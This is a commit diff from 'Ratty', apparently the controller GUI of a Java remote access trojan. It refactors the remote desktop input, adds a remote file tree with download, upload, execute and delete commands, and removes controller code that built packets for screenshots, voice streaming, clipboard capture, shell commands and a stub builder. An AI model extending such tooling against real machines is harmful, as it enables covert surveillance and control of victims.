Major changes

Further refactoring

Ratty/src/de/sogomn/rat/server/gui/DisplayController.java

@@ -5,18 +5,19 @@ import java.awt.Graphics2D;
 import java.awt.event.MouseEvent;
 import java.awt.image.BufferedImage;
 
+import de.sogomn.engine.IKeyboardListener;
 import de.sogomn.engine.IMouseListener;
 import de.sogomn.engine.Screen;
 import de.sogomn.engine.Screen.ResizeBehavior;
 import de.sogomn.engine.util.ImageUtils;
-import de.sogomn.rat.ActiveConnection;
+import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.KeyEventPacket;
 import de.sogomn.rat.packet.MouseEventPacket;
 import de.sogomn.rat.util.FrameEncoder.IFrame;
 
-public final class DisplayController {
+public final class DisplayController implements ISubController, IMouseListener, IKeyboardListener {
 	
-	private ActiveConnection connection;
+	private ServerClient client;
 	
 	private Screen screen;
 	private BufferedImage image;
@@ -24,36 +25,20 @@ public final class DisplayController {
 	private static final int SCREEN_WIDTH = 1920 / 2;
 	private static final int SCREEN_HEIGHT = 1080 / 2;
 	
-	public DisplayController(final ActiveConnection connection) {
-		this.connection = connection;
+	public DisplayController(final ServerClient client) {
+		this.client = client;
 	}
 	
 	private Screen createScreen(final int width, final int height) {
 		final Screen screen = new Screen(width, height);
-		final String title = connection.getAddress();
-		final IMouseListener mouseListener = new IMouseListener() {
-			@Override
-			public void mouseEvent(final int x, final int y, final int button, final boolean flag) {
-				mouseEventPerformed(x, y, button, flag);
-			}
-			
-			@Override
-			public void mouseMotionEvent(final int x, final int y, final int modifiers) {
-				//...
-			}
-			
-			@Override
-			public void mouseWheelEvent(final int x, final int y, final int rotation) {
-				//...
-			}
-		};
+		final String title = client.connection.getAddress();
 		
 		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
 		screen.setTitle(title);
 		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
 		screen.setBackgroundColor(Color.BLACK);
-		screen.addMouseListener(mouseListener);
-		screen.addKeyboardListener(this::keyEventPerformed);
+		screen.addMouseListener(this);
+		screen.addKeyboardListener(this);
 		screen.addListener(g -> {
 			g.drawImage(image, 0, 0, null);
 		});
@@ -61,32 +46,6 @@ public final class DisplayController {
 		return screen;
 	}
 	
-	private void mouseEventPerformed(final int x, final int y, final int button, final boolean flag) {
-		final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE;
-		final int buttonEvent;
-		
-		if (button == MouseEvent.BUTTON1) {
-			buttonEvent = MouseEvent.BUTTON1_DOWN_MASK;
-		} else if (button == MouseEvent.BUTTON2) {
-			buttonEvent = MouseEvent.BUTTON2_DOWN_MASK;
-		} else if (button == MouseEvent.BUTTON3) {
-			buttonEvent = MouseEvent.BUTTON3_DOWN_MASK;
-		} else {
-			buttonEvent = MouseEvent.NOBUTTON;
-		}
-		
-		final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type);
-		
-		connection.addPacket(packet);
-	}
-	
-	private void keyEventPerformed(final int key, final boolean flag) {
-		final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE;
-		final KeyEventPacket packet = new KeyEventPacket(key, type);
-		
-		connection.addPacket(packet);
-	}
-	
 	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
 		final Graphics2D g = image.createGraphics();
 		
@@ -139,4 +98,52 @@ public final class DisplayController {
 		updateScreen(screenWidth, screenHeight);
 	}
 	
+	@Override
+	public void userInput(final String actionCommand) {
+		//...
+	}
+	
+	@Override
+	public void handlePacket(final IPacket packet) {
+		//...
+	}
+	
+	@Override
+	public void mouseEvent(final int x, final int y, final int button, final boolean flag) {
+		final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE;
+		final int buttonEvent;
+		
+		if (button == MouseEvent.BUTTON1) {
+			buttonEvent = MouseEvent.BUTTON1_DOWN_MASK;
+		} else if (button == MouseEvent.BUTTON2) {
+			buttonEvent = MouseEvent.BUTTON2_DOWN_MASK;
+		} else if (button == MouseEvent.BUTTON3) {
+			buttonEvent = MouseEvent.BUTTON3_DOWN_MASK;
+		} else {
+			buttonEvent = MouseEvent.NOBUTTON;
+		}
+		
+		final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type);
+		
+		client.connection.addPacket(packet);
+	}
+	
+	@Override
+	public void mouseMotionEvent(final int x, final int y, final int modifiers) {
+		//...
+	}
+	
+	@Override
+	public void mouseWheelEvent(final int x, final int y, final int rotation) {
+		//...
+	}
+	
+	@Override
+	public void keyboardEvent(final int key, final boolean flag) {
+		final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE;
+		final KeyEventPacket packet = new KeyEventPacket(key, type);
+		
+		client.connection.addPacket(packet);
+	}
+	
 }

Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@@ -0,0 +1,146 @@
+package de.sogomn.rat.server.gui;
+
+import java.awt.Dimension;
+import java.awt.event.ActionEvent;
+import java.awt.event.MouseAdapter;
+import java.awt.event.MouseEvent;
+import java.awt.image.BufferedImage;
+
+import javax.swing.Icon;
+import javax.swing.ImageIcon;
+import javax.swing.JFrame;
+import javax.swing.JMenuItem;
+import javax.swing.JPopupMenu;
+import javax.swing.JScrollPane;
+import javax.swing.JTree;
+import javax.swing.tree.DefaultTreeModel;
+import javax.swing.tree.TreePath;
+
+import de.sogomn.engine.fx.SpriteSheet;
+import de.sogomn.engine.util.AbstractListenerContainer;
+
+public final class FileTree extends AbstractListenerContainer<IGuiController> {
+	
+	private JFrame frame;
+	
+	private FileTreeNode root;
+	private JTree tree;
+	private DefaultTreeModel treeModel;
+	private JScrollPane scrollPane;
+	
+	private JPopupMenu menu;
+	
+	private FileTreeNode lastNodeClicked;
+	
+	private static final String ROOT_NAME = "Drives";
+	private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
+	
+	private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
+	
+	public static final String REQUEST = "Request content";
+	public static final String DOWNLOAD = "Download file";
+	public static final String UPLOAD = "Upload file here";
+	public static final String EXECUTE = "Execute file";
+	public static final String DELETE = "Delete file";
+	public static final String NEW_FOLDER = "Create new folder here";
+	
+	public static final String[] COMMANDS = {
+		REQUEST,
+		DOWNLOAD,
+		UPLOAD,
+		EXECUTE,
+		DELETE,
+		NEW_FOLDER
+	};
+	
+	public FileTree() {
+		frame = new JFrame();
+		root = new FileTreeNode(ROOT_NAME);
+		tree = new JTree(root);
+		treeModel = (DefaultTreeModel)tree.getModel();
+		scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
+		menu = new JPopupMenu();
+		
+		for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
+			final String command = COMMANDS[i];
+			final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
+			
+			addMenuItem(command, icon);
+		}
+		
+		final MouseAdapter mouseAdapter = new MouseAdapter() {
+			@Override
+			public void mousePressed(final MouseEvent m) {
+				final int x = m.getX();
+				final int y = m.getY();
+				final TreePath path = tree.getPathForLocation(x, y);
+				
+				tree.setSelectionPath(path);
+				
+				if (path != null) {
+					lastNodeClicked = (FileTreeNode)path.getLastPathComponent();
+				} else {
+					lastNodeClicked = null;
+				}
+			}
+		};
+		
+		scrollPane.setBorder(null);
+		tree.addMouseListener(mouseAdapter);
+		tree.setEditable(false);
+		tree.setComponentPopupMenu(menu);
+		
+		frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
+		frame.setPreferredSize(DEFAULT_SIZE);
+		frame.setContentPane(scrollPane);
+		frame.pack();
+		frame.setLocationByPlatform(true);
+	}
+	
+	private void addMenuItem(final String name, final Icon icon) {
+		final JMenuItem item = new JMenuItem(name);
+		
+		item.setActionCommand(name);
+		item.addActionListener(this::menuItemClicked);
+		item.setIcon(icon);
+		
+		menu.add(item);
+	}
+	
+	private void menuItemClicked(final ActionEvent a) {
+		final String command = a.getActionCommand();
+		
+		notifyListeners(controller -> controller.userInput(command));
+	}
+	
+	public void addNodes(final String... names) {
+		FileTreeNode current = root;
+		
+		for (final String name : names) {
+			final FileTreeNode next = current.getChild(name);
+			
+			if (next == null) {
+				final FileTreeNode node = new FileTreeNode(name);
+				
+				treeModel.insertNodeInto(node, current, 0);
+				
+				current = node;
+			} else {
+				current = next;
+			}
+		}
+	}
+	
+	public void setVisible(final boolean visible) {
+		frame.setVisible(true);
+	}
+	
+	public void setTitle(final String title) {
+		frame.setTitle(title);
+	}
+	
+	public FileTreeNode getLastNodeClicked() {
+		return lastNodeClicked;
+	}
+	
+}

Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java

@@ -0,0 +1,44 @@
+package de.sogomn.rat.server.gui;
+
+import de.sogomn.rat.packet.IPacket;
+
+public final class FileTreeController implements ISubController {
+	
+	private ServerClient client;
+	
+	private FileTree fileTree;
+	
+	public FileTreeController(final ServerClient client) {
+		this.client = client;
+		
+		fileTree = new FileTree();
+		
+		final String title = client.connection.getAddress();
+		
+		fileTree.addListener(this);
+		fileTree.setTitle(title);
+	}
+	
+	@Override
+	public void userInput(final String command) {
+		if (command == FileTree.REQUEST) {
+			//...
+		} else if (command == FileTree.DOWNLOAD) {
+			//...
+		} else if (command == FileTree.UPLOAD) {
+			//...
+		} else if (command == FileTree.EXECUTE) {
+			//...
+		} else if (command == FileTree.NEW_FOLDER) {
+			//...
+		} else if (command == FileTree.DELETE) {
+			//...
+		}
+	}
+	
+	@Override
+	public void handlePacket(final IPacket packet) {
+		//...
+	}
+	
+}

Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java

@@ -0,0 +1,169 @@
+package de.sogomn.rat.server.gui;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+
+import javax.swing.tree.MutableTreeNode;
+import javax.swing.tree.TreeNode;
+
+public final class FileTreeNode implements MutableTreeNode {
+	
+	private FileTreeNode parent;
+	private ArrayList<FileTreeNode> children;
+	
+	private String name;
+	
+	public FileTreeNode(final String name) {
+		this.name = name;
+		
+		children = new ArrayList<FileTreeNode>();
+	}
+	
+	@Override
+	public Enumeration<FileTreeNode> children() {
+		final Enumeration<FileTreeNode> enumeration = Collections.enumeration(children);
+		
+		return enumeration;
+	}
+	
+	@Override
+	public void insert(final MutableTreeNode child, final int index) {
+		final boolean fileTreeNode = child instanceof FileTreeNode;
+		
+		if (index < 0 || index > children.size() - 1 || !fileTreeNode) {
+			return;
+		}
+		
+		final FileTreeNode fileTreeNodeChild = (FileTreeNode)child;
+		
+		children.add(index, fileTreeNodeChild);
+	}
+	
+	@Override
+	public void remove(final int index) {
+		if (index < 0 || index > children.size() - 1) {
+			return;
+		}
+		
+		children.remove(index);
+	}
+	
+	@Override
+	public void remove(final MutableTreeNode node) {
+		children.remove(node);
+	}
+	
+	@Override
+	public void removeFromParent() {
+		if (parent == null) {
+			return;
+		}
+		
+		parent.remove(this);
+	}
+	
+	@Override
+	public void setParent(final MutableTreeNode newParent) {
+		final boolean fileTreeNode = newParent instanceof FileTreeNode;
+		
+		if (!fileTreeNode) {
+			return;
+		}
+		
+		final FileTreeNode fileTreeNodeParent = (FileTreeNode)newParent;
+		
+		parent = fileTreeNodeParent;
+	}
+	
+	@Override
+	public void setUserObject(final Object object) {
+		name = String.valueOf(object);
+	}
+	
+	@Override
+	public boolean getAllowsChildren() {
+		return true;
+	}
+	
+	@Override
+	public FileTreeNode getChildAt(final int childIndex) {
+		if (childIndex < 0 || childIndex > children.size() - 1) {
+			return null;
+		}
+		
+		final FileTreeNode child = children.get(childIndex);
+		
+		return child;
+	}
+	
+	@Override
+	public int getChildCount() {
+		return children.size();
+	}
+	
+	@Override
+	public int getIndex(final TreeNode node) {
+		final int index = children.indexOf(node);
+		
+		return index;
+	}
+	
+	@Override
+	public FileTreeNode getParent() {
+		return parent;
+	}
+	
+	@Override
+	public boolean isLeaf() {
+		return getChildCount() == 0;
+	}
+	
+	public String getPath() {
+		final StringBuilder builder = new StringBuilder();
+		
+		FileTreeNode current = this;
+		
+		while (current != null) {
+			final String name = current.getName();
+			
+			builder.insert(0, name + File.separator);
+			
+			current = current.getParent();
+		}
+		
+		return builder.toString();
+	}
+	
+	public String getName() {
+		return name;
+	}
+	
+	public FileTreeNode getChild(final String name) {
+		for (final FileTreeNode child : children) {
+			final String childName = child.getName();
+			
+			if (childName.equals(name)) {
+				return child;
+			}
+		}
+		
+		return null;
+	}
+	
+	public FileTreeNode getDeepChild(final String... names) {
+		FileTreeNode current = this;
+		
+		for (final String name : names) {
+			current = current.getChild(name);
+			
+			if (current == null) {
+				return null;
+			}
+		}
+		
+		return current;
+	}
+	
+}

Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@@ -1,289 +0,0 @@
-package de.sogomn.rat.server.gui;
-
-import java.awt.Dimension;
-import java.awt.event.ActionEvent;
-import java.awt.event.MouseAdapter;
-import java.awt.event.MouseEvent;
-import java.awt.image.BufferedImage;
-import java.io.File;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-import javax.swing.Icon;
-import javax.swing.ImageIcon;
-import javax.swing.JDialog;
-import javax.swing.JFrame;
-import javax.swing.JMenuItem;
-import javax.swing.JPopupMenu;
-import javax.swing.JScrollPane;
-import javax.swing.JTree;
-import javax.swing.tree.DefaultMutableTreeNode;
-import javax.swing.tree.DefaultTreeModel;
-import javax.swing.tree.TreeNode;
-import javax.swing.tree.TreePath;
-
-import de.sogomn.engine.fx.SpriteSheet;
-
-public final class FileTreePanel {
-	
-	private JDialog dialog;
-	
-	private DefaultMutableTreeNode root;
-	private JTree tree;
-	private DefaultTreeModel treeModel;
-	private JScrollPane scrollPane;
-	
-	private JPopupMenu menu;
-	
-	private DefaultMutableTreeNode lastNodeClicked;
-	private IGuiController controller;
-	
-	private static final String ROOT_NAME = "Drives";
-	private static final int DEFAULT_WIDTH = 500;
-	private static final int DEFAULT_HEIGHT = 500;
-	
-	private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
-	
-	public static final String REQUEST = "Request content";
-	public static final String DOWNLOAD = "Download file";
-	public static final String UPLOAD = "Upload file here";
-	public static final String EXECUTE = "Execute file";
-	public static final String DELETE = "Delete file";
-	public static final String NEW_FOLDER = "Create new folder here";
-	
-	public static final String[] COMMANDS = {
-		REQUEST,
-		DOWNLOAD,
-		UPLOAD,
-		EXECUTE,
-		DELETE,
-		NEW_FOLDER
-	};
-	
-	public FileTreePanel() {
-		dialog = new JDialog();
-		root = new DefaultMutableTreeNode(ROOT_NAME);
-		tree = new JTree(root);
-		treeModel = (DefaultTreeModel)tree.getModel();
-		scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
-		menu = new JPopupMenu();
-		
-		for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
-			final String command = COMMANDS[i];
-			final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
-			
-			addMenuItem(command, icon);
-		}
-		
-		final MouseAdapter mouseAdapter = new MouseAdapter() {
-			@Override
-			public void mousePressed(final MouseEvent m) {
-				final int x = m.getX();
-				final int y = m.getY();
-				final TreePath path = tree.getPathForLocation(x, y);
-				
-				tree.setSelectionPath(path);
-				
-				if (path != null) {
-					lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent();
-				} else {
-					lastNodeClicked = null;
-				}
-			}
-		};
-		
-		scrollPane.setBorder(null);
-		tree.addMouseListener(mouseAdapter);
-		tree.setEditable(false);
-		tree.setComponentPopupMenu(menu);
-		
-		dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
-		dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT));
-		dialog.setContentPane(scrollPane);
-		dialog.pack();
-		dialog.setLocationByPlatform(true);
-	}
-	
-	private void addMenuItem(final String name, final Icon icon) {
-		final JMenuItem item = new JMenuItem(name);
-		
-		item.setActionCommand(name);
-		item.addActionListener(this::menuItemClicked);
-		item.setIcon(icon);
-		
-		menu.add(item);
-	}
-	
-	private void menuItemClicked(final ActionEvent a) {
-		if (controller == null) {
-			return;
-		}
-		
-		final String command = a.getActionCommand();
-		
-		controller.userInput(command);
-	}
-	
-	private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) {
-		final int childCount = node.getChildCount();
-		final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount];
-		
-		for (int i = 0; i < childCount; i++) {
-			final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i);
-			
-			children[i] = child;
-		}
-		
-		return children;
-	}
-	
-	private DefaultMutableTreeNode getChildByName(final DefaultMutableTreeNode node, final String name) {
-		final DefaultMutableTreeNode[] children = getChildren(node);
-		
-		for (final DefaultMutableTreeNode child : children) {
-			final Object object = child.getUserObject();
-			
-			if (object.equals(name)) {
-				return child;
-			}
-		}
-		
-		return null;
-	}
-	
-	private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) {
-		if (path.length == 0) {
-			return null;
-		}
-		
-		final String name = path[0];
-		final DefaultMutableTreeNode node = getChildByName(start, name);
-		
-		if (path.length == 1 || node == null) {
-			return node;
-		}
-		
-		final String[] remainingPath = new String[path.length - 1];
-		System.arraycopy(path, 1, remainingPath, 0, remainingPath.length);
-		
-		return getByName(node, remainingPath);
-	}
-	
-	private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String path) {
-		final String[] pathParts = path.split("\\" + File.separator);
-		
-		return getByName(start, pathParts);
-	}
-	
-	private void addAll(final DefaultMutableTreeNode root, final String[] path) {
-		if (path.length == 0) {
-			return;
-		}
-		
-		final String name = path[0];
-		
-		DefaultMutableTreeNode node = getChildByName(root, name);
-		
-		if (node == null) {
-			node = new DefaultMutableTreeNode(name);
-			
-			treeModel.insertNodeInto(node, root, 0);
-		}
-		
-		final String[] remainingPath = new String[path.length - 1];
-		System.arraycopy(path, 1, remainingPath, 0, remainingPath.length);
-		
-		addAll(node, remainingPath);
-	}
-	
-	private String getPath(final DefaultMutableTreeNode end) {
-		final TreeNode[] parents = end.getPath();
-		
-		final String path = Stream
-				.of(parents)
-				.skip(1)
-				.map(node -> (DefaultMutableTreeNode)node)
-				.map(DefaultMutableTreeNode::getUserObject)
-				.map(object -> (String)object)
-				.collect(Collectors.joining(File.separator)) + File.separator;
-		
-		return path;
-	}
-	
-	public void addFile(final String... path) {
-		addAll(root, path);
-	}
-	
-	public void addFile(final String path) {
-		final String[] pathParts = path.split("\\" + File.separator);
-		
-		addFile(pathParts);
-	}
-	
-	public void removeFile(final String... path) {
-		final DefaultMutableTreeNode node = getByName(root, path);
-		
-		if (node != null) {
-			treeModel.removeNodeFromParent(node);
-		}
-	}
-	
-	public void removeFile(final String path) {
-		final String[] pathParts = path.split("\\" + File.separator);
-		
-		removeFile(pathParts);
-	}
-	
-	public void removeChildren(final String path) {
-		final DefaultMutableTreeNode node = getByName(root, path);
-		
-		if (node != null) {
-			final DefaultMutableTreeNode[] children = getChildren(node);
-			
-			for (final DefaultMutableTreeNode child : children) {
-				treeModel.removeNodeFromParent(child);
-			}
-		}
-	}
-	
-	public void setTitle(final String title) {
-		dialog.setTitle(title);
-	}
-	
-	public void setVisible(final boolean state) {
-		dialog.setVisible(state);
-	}
-	
-	public void setController(final IGuiController controller) {
-		this.controller = controller;
-	}
-	
-	public DefaultMutableTreeNode getLastNodeClicked() {
-		return lastNodeClicked;
-	}
-	
-	public String getLastPathClicked() {
-		if (lastNodeClicked == null) {
-			return "";
-		}
-		
-		final String path = getPath(lastNodeClicked);
-		
-		return path;
-	}
-	
-	public String getLastPathClickedFolder() {
-		final String path;
-		
-		if (!lastNodeClicked.isLeaf()) {
-			path = getPath(lastNodeClicked);
-		} else {
-			final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)lastNodeClicked.getParent();
-			
-			path = getPath(parent);
-		}
-		
-		return path;
-	}
-	
-}

Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@@ -2,6 +2,6 @@ package de.sogomn.rat.server.gui;
 
 public interface IGuiController {
 	
-	void userInput(final String actionCommand);
+	void userInput(final String command);
 	
 }

Ratty/src/de/sogomn/rat/server/gui/ISubController.java

@@ -0,0 +1,9 @@
+package de.sogomn.rat.server.gui;
+
+import de.sogomn.rat.packet.IPacket;
+
+public interface ISubController extends IGuiController {
+	
+	void handlePacket(final IPacket packet);
+	
+}

Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@@ -21,9 +21,10 @@ import javax.swing.JScrollPane;
 import javax.swing.JTable;
 
 import de.sogomn.engine.fx.SpriteSheet;
+import de.sogomn.engine.util.AbstractListenerContainer;
 import de.sogomn.engine.util.ImageUtils;
 
-public final class RattyGui {
+public final class RattyGui extends AbstractListenerContainer<IGuiController> {
 	
 	private JFrame frame;
 	
@@ -36,7 +37,6 @@ public final class RattyGui {
 	private JButton build;
 	
 	private ServerClient lastServerClientClicked;
-	private IGuiController controller;
 	
 	private static final Dimension SIZE = new Dimension(800, 600);
 	
@@ -130,13 +130,9 @@ public final class RattyGui {
 	}
 	
 	private void actionPerformed(final ActionEvent a) {
-		if (controller == null) {
-			return;
-		}
-		
 		final String command = a.getActionCommand();
 		
-		controller.userInput(command);
+		notifyListeners(controller -> controller.userInput(command));
 	}
 	
 	public void updateTable() {
@@ -151,10 +147,6 @@ public final class RattyGui {
 		tableModel.removeServerClient(client);
 	}
 	
-	public void setController(final IGuiController controller) {
-		this.controller = controller;
-	}
-	
 	public ServerClient getLastServerClientClicked() {
 		return lastServerClientClicked;
 	}

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -1,298 +1,76 @@
 package de.sogomn.rat.server.gui;
 
-import java.awt.image.BufferedImage;
-import java.io.File;
 import java.util.ArrayList;
 
-import javax.swing.JFileChooser;
-import javax.swing.JOptionPane;
-import javax.swing.filechooser.FileNameExtensionFilter;
-
-import de.sogomn.engine.fx.ISoundListener;
-import de.sogomn.engine.fx.Sound;
 import de.sogomn.rat.ActiveConnection;
 import de.sogomn.rat.IConnectionObserver;
-import de.sogomn.rat.builder.StubBuilder;
-import de.sogomn.rat.packet.AudioPacket;
-import de.sogomn.rat.packet.ClipboardPacket;
-import de.sogomn.rat.packet.CommandPacket;
-import de.sogomn.rat.packet.CreateFolderPacket;
-import de.sogomn.rat.packet.DeleteFilePacket;
-import de.sogomn.rat.packet.DesktopStreamPacket;
-import de.sogomn.rat.packet.DownloadFilePacket;
-import de.sogomn.rat.packet.ExecuteFilePacket;
-import de.sogomn.rat.packet.FileSystemPacket;
-import de.sogomn.rat.packet.FreePacket;
 import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.InformationPacket;
-import de.sogomn.rat.packet.PopupPacket;
-import de.sogomn.rat.packet.ScreenshotPacket;
-import de.sogomn.rat.packet.UploadFilePacket;
-import de.sogomn.rat.packet.VoicePacket;
-import de.sogomn.rat.packet.WebsitePacket;
 import de.sogomn.rat.server.ActiveServer;
 import de.sogomn.rat.server.IServerObserver;
-import de.sogomn.rat.util.FrameEncoder.IFrame;
 
-/*
- * THIS CLASS IS A MESS!
- * I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES
- */
 public final class RattyGuiController implements IServerObserver, IConnectionObserver, IGuiController {
 	
 	private RattyGui gui;
-	private JFileChooser fileChooser;
 	
 	private ArrayList<ServerClient> clients;
 	
 	public RattyGuiController(final RattyGui gui) {
 		this.gui = gui;
 		
-		fileChooser = new JFileChooser();
 		clients = new ArrayList<ServerClient>();
 		
-		final String currentDirectoryPath = System.getProperty("user.dir");
-		final File currentDirectory = new File(currentDirectoryPath);
-		
-		fileChooser.setCurrentDirectory(currentDirectory);
-		gui.setController(this);
+		gui.addListener(this);
 	}
 	
-	private ServerClient getServerClient(final ActiveConnection client) {
-		for (final ServerClient serverClient : clients) {
-			if (serverClient.connection == client) {
-				return serverClient;
-			}
-		}
+	private void logIn(final ServerClient client, final InformationPacket packet) {
 		
-		return null;
 	}
 	
-	private File chooseFile(final String fileType) {
-		final FileNameExtensionFilter filter;
-		
-		if (fileType != null) {
-			filter = new FileNameExtensionFilter("*." + fileType, fileType);
-		} else {
-			filter = null;
-		}
-		
-		fileChooser.setFileFilter(filter);
-		
-		final int input = fileChooser.showOpenDialog(null);
-		
-		if (input == JFileChooser.APPROVE_OPTION) {
-			return fileChooser.getSelectedFile();
-		}
-		
-		return null;
-	}
-	
-	private File chooseFile() {
-		return chooseFile(null);
-	}
-	
-	private IPacket getPacket(final String command, final ServerClient serverClient) {
+	private IPacket getPacket(final String command, final ServerClient client) {
 		IPacket packet = null;
 		
-		if (command == RattyGui.POPUP) {
-			final String input = JOptionPane.showInputDialog(null);
-			
-			if (input != null) {
-				packet = new PopupPacket(input);
-			}
-		} else if (command == RattyGui.FREE) {
-			packet = new FreePacket();
-		} else if (command == RattyGui.SCREENSHOT) {
-			packet = new ScreenshotPacket();
-		} else if (command == RattyGui.COMMAND) {
-			packet = CommandPacket.create();
-		} else if (command == RattyGui.DESKTOP && !serverClient.isStreamingDesktop()) {
-			packet = new DesktopStreamPacket(true);
-		} else if (command == RattyGui.CLIPBOARD) {
-			packet = new ClipboardPacket();
-		} else if (command == FileTreePanel.REQUEST) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			final String path = treePanel.getLastPathClicked();
-			
-			packet = new FileSystemPacket(path);
-			
-			treePanel.removeChildren(path);
-		} else if (command == FileTreePanel.DOWNLOAD) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			final String path = treePanel.getLastPathClicked();
-			
-			packet = new DownloadFilePacket(path);
-		} else if (command == FileTreePanel.UPLOAD) {
-			final File file = chooseFile();
-			
-			if (file != null) {
-				final String localPath = file.getAbsolutePath();
-				final FileTreePanel treePanel = serverClient.getTreePanel();
-				final String path = treePanel.getLastPathClicked();
-				
-				packet = new UploadFilePacket(localPath, path);
-			}
-		} else if (command == FileTreePanel.EXECUTE) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			final String path = treePanel.getLastPathClicked();
-			
-			packet = new ExecuteFilePacket(path);
-		} else if (command == FileTreePanel.NEW_FOLDER) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			final String path = treePanel.getLastPathClicked();
-			final String name = JOptionPane.showInputDialog(null);
-			
-			if (name != null && !name.isEmpty()) {
-				packet = new CreateFolderPacket(path, name);
-			}
-		} else if (command == FileTreePanel.DELETE) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			final String path = treePanel.getLastPathClicked();
-			
-			packet = new DeleteFilePacket(path);
-		} else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) {
-			packet = new VoicePacket();
-		} else if (command == RattyGui.WEBSITE) {
-			final String input = JOptionPane.showInputDialog(null);
-			
-			if (input != null && !input.isEmpty()) {
-				packet = new WebsitePacket(input);
-			}
-		} else if (command == RattyGui.AUDIO) {
-			final File file = chooseFile("wav");
-			
-			if (file != null) {
-				packet = new AudioPacket(file);
-			}
-		}
-		
 		return packet;
 	}
 	
-	private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
-		final BufferedImage image = packet.getImage();
-		
-		serverClient.getDisplayPanel().showImage(image);
-	}
-	
-	private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
-		final IFrame[] frames = packet.getFrames();
-		final int screenWidth = packet.getScreenWidth();
-		final int screenHeight = packet.getScreenHeight();
-		final DesktopStreamPacket request = new DesktopStreamPacket();
-		final DisplayController displayPanel = serverClient.getDisplayPanel();
-		
-		displayPanel.showFrames(frames, screenWidth, screenHeight);
-		
-		serverClient.connection.addPacket(request);
-	}
-	
-	private void handle(final ServerClient serverClient, final VoicePacket packet) {
-		final Sound sound = packet.getSound();
-		
-		sound.addListener(new ISoundListener() {
-			@Override
-			public void looped(final Sound source) {
-				//...
-			}
-			
-			@Override
-			public void stopped(final Sound source) {
-				final VoicePacket voice = new VoicePacket();
-				
-				serverClient.connection.addPacket(voice);
-			}
-		});
-		sound.play();
-	}
-	
-	private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
-		final FileTreePanel treePanel = serverClient.getTreePanel();
-		final String[] paths = packet.getPaths();
-		
-		for (final String path : paths) {
-			treePanel.addFile(path);
-		}
-	}
-	
-	private void handle(final ServerClient serverClient, final InformationPacket packet) {
-		final String name = packet.getName();
-		final String os = packet.getOs();
-		final String version = packet.getVersion();
-		
-		serverClient.logIn(name, os, version);
-		serverClient.setController(this);
-		
-		gui.addRow(serverClient);
-	}
-	
 	@Override
-	public void packetReceived(final ActiveConnection client, final IPacket packet) {
-		final ServerClient serverClient = getServerClient(client);
-		final boolean loggedIn = serverClient.isLoggedIn();
+	public void packetReceived(final ActiveConnection connection, final IPacket packet) {
+		final ServerClient client = getClient(connection);
+		final boolean loggedIn = client.isLoggedIn();
 		
 		if (loggedIn) {
-			if (packet instanceof ScreenshotPacket) {
-				final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
-				
-				handle(serverClient, screenshot);
-			} else if (packet instanceof DesktopStreamPacket) {
-				final boolean streamingDesktop = serverClient.isStreamingDesktop();
-				
-				if (streamingDesktop) {
-					final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
-					
-					handle(serverClient, stream);
-				}
-			} else if (packet instanceof VoicePacket) {
-				final boolean streamingVoice = serverClient.isStreamingVoice();
-				
-				if (streamingVoice) {
-					final VoicePacket voice = (VoicePacket)packet;
-					
-					handle(serverClient, voice);
-				}
-			} else if (packet instanceof FileSystemPacket) {
